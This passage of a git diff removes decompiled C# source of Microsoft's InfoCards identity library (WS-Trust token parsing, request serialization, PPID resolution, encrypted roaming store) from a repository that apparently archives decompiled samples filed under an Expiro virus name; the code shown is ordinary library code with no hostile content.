XmlException(SR.GetString("MultipleKeySizeElementsFound"))); - string uriString = reader.ReadElementContentAsString(); - Uri uri = new Uri(uriString); - if (profile.WSTrust.KeyTypeSymmetric.Equals((object) uri)) - securityTokenResponse.KeyType = new SecurityKeyTypeInternal?(SecurityKeyTypeInternal.SymmetricKey); - else if (profile.WSTrust.KeyTypeAsymmetric.Equals((object) uri)) - securityTokenResponse.KeyType = new SecurityKeyTypeInternal?(SecurityKeyTypeInternal.AsymmetricKey); - else if (profile.WSTrust.KeyTypeBearer.Equals((object) uri)) - securityTokenResponse.KeyType = new SecurityKeyTypeInternal?(SecurityKeyTypeInternal.NoKey); - else - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("KeyTypeNotRecognized", (object) uriString))); - flag2 = true; - } - else if (reader.IsStartElement(profile.WSTrust.Lifetime, profile.WSTrust.Namespace)) - { - if (flag6) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleLifetimeElementsFound"))); - reader.ReadStartElement(); - if (reader.IsStartElement("Created", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd")) - securityTokenResponse.Created = reader.ReadElementContentAsDateTime().ToUniversalTime(); - if (reader.IsStartElement("Expires", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd")) - securityTokenResponse.Expires = reader.ReadElementContentAsDateTime().ToUniversalTime(); - reader.ReadEndElement(); - flag6 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestedSecurityToken, profile.WSTrust.Namespace)) - { - if (flag7) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedSecurityTokenElementsFound"))); - reader.ReadStartElement(); - reader.MoveToElement(); - XmlDocument xmlDocument = new XmlDocument(); - securityTokenResponse.IssuedTokenElement = xmlDocument.ReadNode((XmlReader) reader) as XmlElement; - reader.ReadEndElement(); - flag7 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestedProofToken, profile.WSTrust.Namespace)) - { - if (flag8) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedProofTokenElementsFound"))); - reader.ReadStartElement(); - if (reader.IsStartElement(profile.WSTrust.ComputedKey, profile.WSTrust.Namespace)) - { - securityTokenResponse.ComputedKeyAlgorithm = reader.ReadElementString(); - if (profile.WSTrust.ComputedKeyAlgorithm != securityTokenResponse.ComputedKeyAlgorithm) - throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException(SR.GetString("OnlyPSha1SupportedCurrently", (object) securityTokenResponse.ComputedKeyAlgorithm))); - } - else - securityTokenResponse.ProofToken = tokenSerializer.ReadToken((XmlReader) reader, resolver); - reader.ReadEndElement(); - flag8 = true; - } - else if (reader.IsStartElement(profile.WSTrust.Entropy, profile.WSTrust.Namespace)) - { - if (flag10) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleEntropyElementsFound"))); - reader.ReadStartElement(); - securityTokenResponse.EntropyToken = tokenSerializer.ReadToken((XmlReader) reader, resolver); - reader.ReadEndElement(); - flag10 = true; - } - else if (reader.IsStartElement("RequestedDisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - if (flag9) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedDisplayTokenElementsFound"))); - securityTokenResponse.DisplayToken = RequestSecurityTokenResponseHelper.CreateDisplayToken(reader); - flag9 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestedAttachedReference, profile.WSTrust.Namespace)) - { - if (flag4) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedAttachedReferenceElementsFound"))); - reader.ReadStartElement(); - securityTokenResponse.RequestedAttachedReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) reader); - reader.ReadEndElement(); - flag4 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestedUnattachedReference, profile.WSTrust.Namespace)) - { - if (flag5) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedUnattachedReferenceElementsFound"))); - reader.ReadStartElement(); - securityTokenResponse.RequestedUnattachedReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) reader); - reader.ReadEndElement(); - flag5 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestType, profile.WSTrust.Namespace)) - { - if (flag11) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestTypeElementsFound"))); - securityTokenResponse.RequestType = reader.ReadElementContentAsString(); - if (profile.WSTrust.IssueRequestType != securityTokenResponse.RequestType) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("OnlyIssueRequestTypeSupported", (object) securityTokenResponse.RequestType, (object) profile.WSTrust.IssueRequestType))); - flag11 = true; - } - else - reader.Skip(); - } - reader.ReadEndElement(); - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == profile.WSTrust.Version) - { - if (!(profile.WSTrust.RequestSecurityTokenResponseCollection == reader.LocalName) || !(profile.WSTrust.Namespace == reader.NamespaceURI) || reader.NodeType != XmlNodeType.EndElement) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("ServiceSTSCommunicationFailed"))); - reader.ReadEndElement(); - } - return securityTokenResponse; - } - - public static GenericXmlSecurityToken ProcessBearerTokenData( - XmlDictionaryReader reader, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - ProtocolProfile profile, - out DisplayToken displayToken) - { - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = RequestSecurityTokenResponseHelper.ReadRequestSecurityTokenResponse(reader, tokenSerializer, resolver, profile); - displayToken = securityTokenResponse.DisplayToken ?? new DisplayToken(); - securityTokenResponse.ValidateRstrContents(SecurityKeyTypeInternal.NoKey); - SecurityToken noProofToken = RequestSecurityTokenResponseHelper.s_noProofToken; - return new GenericXmlSecurityToken(securityTokenResponse.IssuedTokenElement, noProofToken, securityTokenResponse.Created, securityTokenResponse.Expires, securityTokenResponse.RequestedAttachedReference, securityTokenResponse.RequestedUnattachedReference, (ReadOnlyCollection) null); - } - - public static GenericXmlSecurityToken ProcessSymmetricTokenData( - XmlDictionaryReader reader, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - byte[] clientEntropyForSymmetric, - ProtocolProfile profile, - out DisplayToken displayToken) - { - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = RequestSecurityTokenResponseHelper.ReadRequestSecurityTokenResponse(reader, tokenSerializer, resolver, profile); - displayToken = securityTokenResponse.DisplayToken ?? new DisplayToken(); - securityTokenResponse.ValidateRstrContents(SecurityKeyTypeInternal.SymmetricKey); - if (securityTokenResponse.EntropyToken != null) - { - InfoCardTrace.Assert(profile.WSTrust.ComputedKeyAlgorithm == securityTokenResponse.ComputedKeyAlgorithm, "We already made sure it is PSHA1 while processing RSTR"); - if (!(securityTokenResponse.EntropyToken is BinarySecretSecurityToken entropyToken)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidEntropyContents"))); - int num = clientEntropyForSymmetric.Length * 8; - if (securityTokenResponse.GetIntelligentKeySize(true, num) != num) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException("SymmetricProofKeyLengthMismatch")); - byte[] combinedKey = RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse.ComputeCombinedKey(clientEntropyForSymmetric, entropyToken.GetKeyBytes(), num); - securityTokenResponse.ProofToken = (SecurityToken) new BinarySecretSecurityToken(combinedKey); - } - else if (securityTokenResponse.ProofToken == null) - { - byte[] key = clientEntropyForSymmetric; - securityTokenResponse.ProofToken = (SecurityToken) new BinarySecretSecurityToken(key); - } - return new GenericXmlSecurityToken(securityTokenResponse.IssuedTokenElement, securityTokenResponse.ProofToken, securityTokenResponse.Created, securityTokenResponse.Expires, securityTokenResponse.RequestedAttachedReference, securityTokenResponse.RequestedUnattachedReference, (ReadOnlyCollection) null); - } - - public static GenericXmlSecurityToken ProcessAsymmetricTokenData( - XmlDictionaryReader reader, - RSA rsa, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - ProtocolProfile profile, - out DisplayToken displayToken) - { - InfoCardTrace.Assert(null != rsa, "null rsa"); - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = RequestSecurityTokenResponseHelper.ReadRequestSecurityTokenResponse(reader, tokenSerializer, resolver, profile); - displayToken = securityTokenResponse.DisplayToken ?? new DisplayToken(); - securityTokenResponse.ValidateRstrContents(SecurityKeyTypeInternal.AsymmetricKey); - SecurityToken proofToken = (SecurityToken) new RsaSecurityToken(rsa); - return new GenericXmlSecurityToken(securityTokenResponse.IssuedTokenElement, proofToken, securityTokenResponse.Created, securityTokenResponse.Expires, securityTokenResponse.RequestedAttachedReference, securityTokenResponse.RequestedUnattachedReference, (ReadOnlyCollection) null); - } - - private static DisplayToken CreateDisplayToken(XmlDictionaryReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - DisplayToken displayToken = new DisplayToken(); - XmlReader reader1 = InfoCardSchemas.CreateReader(reader.ReadOuterXml()); - try - { - reader1.ReadStartElement("RequestedDisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - reader1.ReadStartElement("DisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - while (reader1.IsStartElement()) - { - if (reader1.IsStartElement("DisplayClaim", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - List claimList = new List(); - while (reader1.IsStartElement()) - { - if (reader1.IsStartElement("DisplayClaim", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - DisplayClaim displayClaim = RequestSecurityTokenResponseHelper.ReadDisplayClaim(reader1); - if (displayClaim != null) - claimList.Add(displayClaim); - } - else - reader1.Skip(); - } - displayToken = new DisplayToken(claimList); - } - else if (reader1.IsStartElement("DisplayTokenText", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - string attribute = reader1.GetAttribute("MimeType"); - string displayString = reader1.ReadElementContentAsString(); - if (!string.IsNullOrEmpty(displayString) && !string.IsNullOrEmpty(attribute)) - displayToken = new DisplayToken(displayString, attribute); - } - else - reader1.Skip(); - } - reader1.ReadEndElement(); - reader1.ReadEndElement(); - } - catch (Exception ex) - { - displayToken = (DisplayToken) null; - if (InfoCardTrace.IsFatal(ex)) - throw; - } - return displayToken; - } - - private static DisplayClaim ReadDisplayClaim(XmlReader reader) - { - if (!reader.IsStartElement("DisplayClaim", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - string name = string.Empty; - List stringList = new List(); - string description = string.Empty; - string empty = string.Empty; - string attribute = reader.GetAttribute("Uri", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Uri"); - bool isEmptyElement = reader.IsEmptyElement; - reader.ReadStartElement(); - if (!isEmptyElement) - { - while (reader.IsStartElement()) - { - if (reader.IsStartElement("DisplayTag", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - name = reader.ReadElementContentAsString(); - else if (reader.IsStartElement("DisplayValue", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - stringList.Add(reader.ReadElementContentAsString()); - else if (reader.IsStartElement("Description", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - description = reader.ReadElementContentAsString(); - else - reader.Skip(); - } - reader.ReadEndElement(); - } - return new DisplayClaim(name, stringList, description, attribute); - } - - private class RequestSecurityTokenResponse - { - private int m_keySize; - private bool m_keySizeSpecified; - private DateTime m_created = DateTime.UtcNow; - private DateTime m_expires = DateTime.UtcNow.AddHours(1.0); - private string m_requestType; - private SecurityKeyIdentifierClause m_requestedAttachedReference; - private SecurityKeyIdentifierClause m_requestedUnattachedReference; - private SecurityToken m_entropyToken; - private string m_computedKeyAlgorithm; - private DisplayToken m_displayToken; - private SecurityKeyTypeInternal? m_keyType; - private string m_tokenType; - private XmlElement m_issuedTokenElement; - private SecurityToken m_proofToken; - - public int KeySize - { - set - { - this.m_keySize = value; - this.m_keySizeSpecified = true; - } - } - - public int GetIntelligentKeySize(bool symmetric, int rstKeySize) - { - if (!symmetric) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - return !this.m_keySizeSpecified ? rstKeySize : this.m_keySize; - } - - public SecurityKeyTypeInternal? KeyType - { - get => this.m_keyType; - set => this.m_keyType = value; - } - - public DateTime Created - { - get => this.m_created; - set => this.m_created = value; - } - - public DateTime Expires - { - get => this.m_expires; - set => this.m_expires = value; - } - - public SecurityKeyIdentifierClause RequestedAttachedReference - { - get => this.m_requestedAttachedReference; - set => this.m_requestedAttachedReference = value; - } - - public SecurityKeyIdentifierClause RequestedUnattachedReference - { - get => this.m_requestedUnattachedReference; - set => this.m_requestedUnattachedReference = value; - } - - public string TokenType - { - set => this.m_tokenType = value; - } - - public SecurityToken EntropyToken - { - get => this.m_entropyToken; - set => this.m_entropyToken = value; - } - - public string ComputedKeyAlgorithm - { - get => this.m_computedKeyAlgorithm; - set => this.m_computedKeyAlgorithm = value; - } - - public DisplayToken DisplayToken - { - get => this.m_displayToken; - set => this.m_displayToken = value; - } - - public XmlElement IssuedTokenElement - { - get => this.m_issuedTokenElement; - set => this.m_issuedTokenElement = value; - } - - public SecurityToken ProofToken - { - get => this.m_proofToken; - set => this.m_proofToken = value; - } - - public string RequestType - { - get => this.m_requestType; - set => this.m_requestType = value; - } - - public static byte[] ComputeCombinedKey( - byte[] requestorEntropy, - byte[] issuerEntropy, - int keySize) - { - if (requestorEntropy == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (requestorEntropy)); - if (issuerEntropy == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (issuerEntropy)); - InfoCardTrace.Assert(keySize > 0, "Keysize must be > 0"); - return new Psha1DerivedKeyGenerator(requestorEntropy).GenerateDerivedKey(new byte[0], issuerEntropy, keySize, 0); - } - - public void ValidateRstrContents(SecurityKeyTypeInternal keyTypeExpected) - { - if (this.IssuedTokenElement == null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("NoIssuedTokenXml"))); - if (this.KeyType.HasValue) - { - SecurityKeyTypeInternal securityKeyTypeInternal = keyTypeExpected; - SecurityKeyTypeInternal? keyType = this.KeyType; - if ((securityKeyTypeInternal != keyType.GetValueOrDefault() ? 1 : (!keyType.HasValue ? 1 : 0)) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("ProofKeyTypeMismatch"))); - } - if (keyTypeExpected == SecurityKeyTypeInternal.SymmetricKey) - return; - if (SecurityKeyTypeInternal.AsymmetricKey == keyTypeExpected) - { - if (this.ProofToken != null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("ProofTokenXmlUnexpectedInRstr"))); - } - else - { - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == keyTypeExpected, "Bad enum member for SecurityKeyTypeInternal"); - if (this.ProofToken != null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("ProofTokenXmlUnexpectedInRstr"))); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs deleted file mode 100644 index 30409db3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenSerializer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IdentityModel.Tokens; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenSerializer - { - private XmlWriter m_writer; - private ProtocolProfile m_profile; - - public XmlWriter Writer => this.m_writer; - - public ProtocolProfile Profile => this.m_profile; - - private XmlNames.IWSTrust WSTrust => this.Profile.WSTrust; - - private XmlNames.IWSPolicy WSPolicy => this.Profile.WSPolicy; - - private string WSTPrefix => this.Profile.WSTrust.DefaultPrefix; - - private string WSIPrefix => "wsid"; - - private string WSPPrefix => this.Profile.WSPolicy.DefaultPrefix; - - private string DSIGPrefix => "dsig"; - - public RequestSecurityTokenSerializer(XmlWriter writer, ProtocolProfile profile) - { - this.m_writer = writer; - this.m_profile = profile; - } - - public void WriteClaimElement(string claimUri, bool bIsOptionalClaim) - { - this.Writer.WriteStartElement(this.WSIPrefix, "ClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteAttributeString("Uri", claimUri); - if (bIsOptionalClaim) - this.Writer.WriteAttributeString("Optional", "true"); - this.Writer.WriteEndElement(); - } - - public void WriteClaimsElement( - Dictionary disclosedClaims, - string[] requiredClaims, - string[] optionalClaims) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.ClaimsElement, this.WSTrust.Namespace); - this.Writer.WriteAttributeString(this.WSTrust.Dialect, "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (disclosedClaims != null) - { - foreach (KeyValuePair disclosedClaim in disclosedClaims) - this.WriteClaimElement(disclosedClaim.Key, disclosedClaim.Value); - } - else - { - foreach (string requiredClaim in requiredClaims) - this.WriteClaimElement(requiredClaim, false); - foreach (string optionalClaim in optionalClaims) - this.WriteClaimElement(optionalClaim, true); - } - this.Writer.WriteEndElement(); - } - - public void WriteRequestTypeElement(string requestType) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.RequestType, this.WSTrust.Namespace); - this.Writer.WriteString(requestType); - this.Writer.WriteEndElement(); - } - - public void WritePPIDElement(byte[] ppid) - { - this.Writer.WriteStartElement("ClientPseudonym", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteStartElement("PPID", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteBase64(ppid, 0, ppid.Length); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - } - - public void WriteAppliesToElement(EndpointAddress address, AddressingVersion version) - { - this.Writer.WriteStartElement(this.WSPPrefix, this.WSPolicy.AppliesTo, this.WSPolicy.Namespace); - address.WriteTo(version, this.Writer); - this.Writer.WriteEndElement(); - } - - public void WriteKeySizeElement(string keySize) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.KeySize, this.WSTrust.Namespace); - this.Writer.WriteString(keySize); - this.Writer.WriteEndElement(); - } - - public void WriteKeyTypeElement(string keyType) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.KeyType, this.WSTrust.Namespace); - this.Writer.WriteString(keyType); - this.Writer.WriteEndElement(); - } - - public void WriteUseKeyElement(XmlElement useKey) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.UseKey, this.WSTrust.Namespace); - this.Writer.WriteStartElement(this.DSIGPrefix, "KeyInfo", "http://www.w3.org/2000/09/xmldsig#"); - this.Writer.WriteStartElement(this.DSIGPrefix, "KeyValue", "http://www.w3.org/2000/09/xmldsig#"); - useKey.WriteContentTo(this.Writer); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - } - - public void WriteBinarySecretElement(BinarySecretSecurityToken bst) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.Entropy, this.WSTrust.Namespace); - this.Profile.TokenSerializer.WriteToken(this.Writer, (SecurityToken) bst); - this.Writer.WriteEndElement(); - } - - public void WriteInfoCardReferenceElement(InfoCard card) - { - this.Writer.WriteStartElement(this.WSIPrefix, "InformationCardReference", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteStartElement(this.WSIPrefix, "CardId", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteString(card.Id.ToString()); - this.Writer.WriteEndElement(); - this.Writer.WriteStartElement(this.WSIPrefix, "CardVersion", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteString(card.Epoch.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - } - - public void WriteDisplayTokenElement(CultureInfo displayCulture) - { - this.Writer.WriteStartElement(this.WSIPrefix, "RequestDisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteAttributeString("xml", "lang", (string) null, displayCulture.TwoLetterISOLanguageName); - this.Writer.WriteEndElement(); - } - - public void WriteTokenTypeElement(string tokenType) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.TokenType, this.WSTrust.Namespace); - this.Writer.WriteString(tokenType); - this.Writer.WriteEndElement(); - } - - public void WriteEncryptionAlgorithmElement(string encryptionAlgorithm) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.EncryptionAlgorithm, this.WSTrust.Namespace); - this.Writer.WriteString(encryptionAlgorithm); - this.Writer.WriteEndElement(); - } - - public void WriteSignWithElement(string signWith) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.SignWith, this.WSTrust.Namespace); - this.Writer.WriteString(signWith); - this.Writer.WriteEndElement(); - } - - public void WriteEncryptWithElement(string encryptWith) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.EncryptWith, this.WSTrust.Namespace); - this.Writer.WriteString(encryptWith); - this.Writer.WriteEndElement(); - } - - public void WriteKeyWrapAlgorithmElement(string keyWrapAlgorithm) - { - InfoCardTrace.Assert(this.WSTrust.Version == XmlNames.WSSpecificationVersion.WSTrustOasis2007, "KeyWrapAlgorithm element is valid in WS-Trust 1.3 only"); - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.KeyWrapAlgorithm, this.WSTrust.Namespace); - this.Writer.WriteString(keyWrapAlgorithm); - this.Writer.WriteEndElement(); - } - - public void WriteUnprocessedPolicyElements(MemoryStream unprocessedElements) - { - unprocessedElements.Seek(0L, SeekOrigin.Begin); - XmlReader reader = XmlReader.Create((Stream) unprocessedElements, new XmlReaderSettings() - { - ConformanceLevel = ConformanceLevel.Fragment - }); - while (!reader.EOF) - this.Writer.WriteNode(reader, true); - } - - public void WriteSecondaryParametersElement(string policyXml) - { - InfoCardTrace.Assert(this.WSTrust.Version == XmlNames.WSSpecificationVersion.WSTrustOasis2007, "SecondaryParameters element is valid in WS-Trust 1.3 only"); - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.SecondaryParameters, this.WSTrust.Namespace); - XmlReader reader = XmlReader.Create((TextReader) new StringReader(policyXml), new XmlReaderSettings() - { - ConformanceLevel = ConformanceLevel.Fragment - }); - while (!reader.EOF) - this.Writer.WriteNode(reader, true); - this.Writer.WriteEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ResolvePPIDRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ResolvePPIDRequest.cs deleted file mode 100644 index 0e631058..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ResolvePPIDRequest.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ResolvePPIDRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class ResolvePPIDRequest : UIAgentRequest - { - private string m_selfIssuedCardId; - private string m_managedCardId; - private string m_ppid; - - public ResolvePPIDRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_ppid = Utility.DeserializeString(reader); - this.m_managedCardId = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCard infoCard = new InfoCard(new Uri(this.m_managedCardId)); - infoCard.Get(connection); - this.m_selfIssuedCardId = Utility.ResolvePPID(this.m_ppid, infoCard.IssuerIdentifierAsBytes, connection); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeString(new BinaryWriter(this.OutArgs, Encoding.Unicode), this.m_selfIssuedCardId); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RoamingStoreFile.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RoamingStoreFile.cs deleted file mode 100644 index 1cd453a2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RoamingStoreFile.cs +++ /dev/null @@ -1,129 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RoamingStoreFile -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal sealed class RoamingStoreFile - { - private List m_infocards; - - public RoamingStoreFile() => this.m_infocards = new List(); - - public IList Cards => (IList) this.m_infocards; - - public void Clear() - { - foreach (InfoCard infocard in this.m_infocards) - infocard.ClearSensitiveData(); - this.m_infocards.Clear(); - } - - public void WriteTo(string password, XmlWriter writer) - { - byte[] buffer = (byte[]) null; - byte[] salt = (byte[]) null; - using (MemoryStream memoryStream = new MemoryStream()) - { - using (XmlWriter writer1 = XmlWriter.Create((Stream) memoryStream, new XmlWriterSettings() - { - OmitXmlDeclaration = true, - CloseOutput = false, - Encoding = Encoding.UTF8 - })) - { - writer1.WriteStartElement("RoamingStore", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (InfoCard infocard in this.m_infocards) - infocard.WriteXml(writer1); - writer1.WriteEndElement(); - writer1.Flush(); - } - memoryStream.Flush(); - memoryStream.Seek(0L, SeekOrigin.Begin); - buffer = new byte[RoamingStoreFileUtility.CalculateEncryptedSize(Convert.ToInt32(memoryStream.Length))]; - using (MemoryStream destination = new MemoryStream(buffer)) - { - RoamingStoreFileUtility.Encrypt((Stream) memoryStream, (Stream) destination, password, out salt); - destination.Flush(); - } - } - writer.WriteStartElement("EncryptedStore", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteStartElement("StoreSalt", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteBase64(salt, 0, salt.Length); - writer.WriteEndElement(); - writer.WriteStartElement("EncryptedData", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteStartElement("CipherData", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteStartElement("CipherValue", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteBase64(buffer, 0, buffer.Length); - writer.WriteEndElement(); - writer.WriteEndElement(); - writer.WriteEndElement(); - writer.WriteEndElement(); - } - - public void ReadFrom(string password, XmlReader reader) - { - if (!reader.IsStartElement("EncryptedStore", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.ReadToDescendant("StoreSalt", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - byte[] numArray = new byte[RoamingStoreFileUtility.SaltLength]; - reader.ReadElementContentAsBase64(numArray, 0, numArray.Length); - if (reader.ReadElementContentAsBase64(new byte[1], 0, 1) != 0) - throw 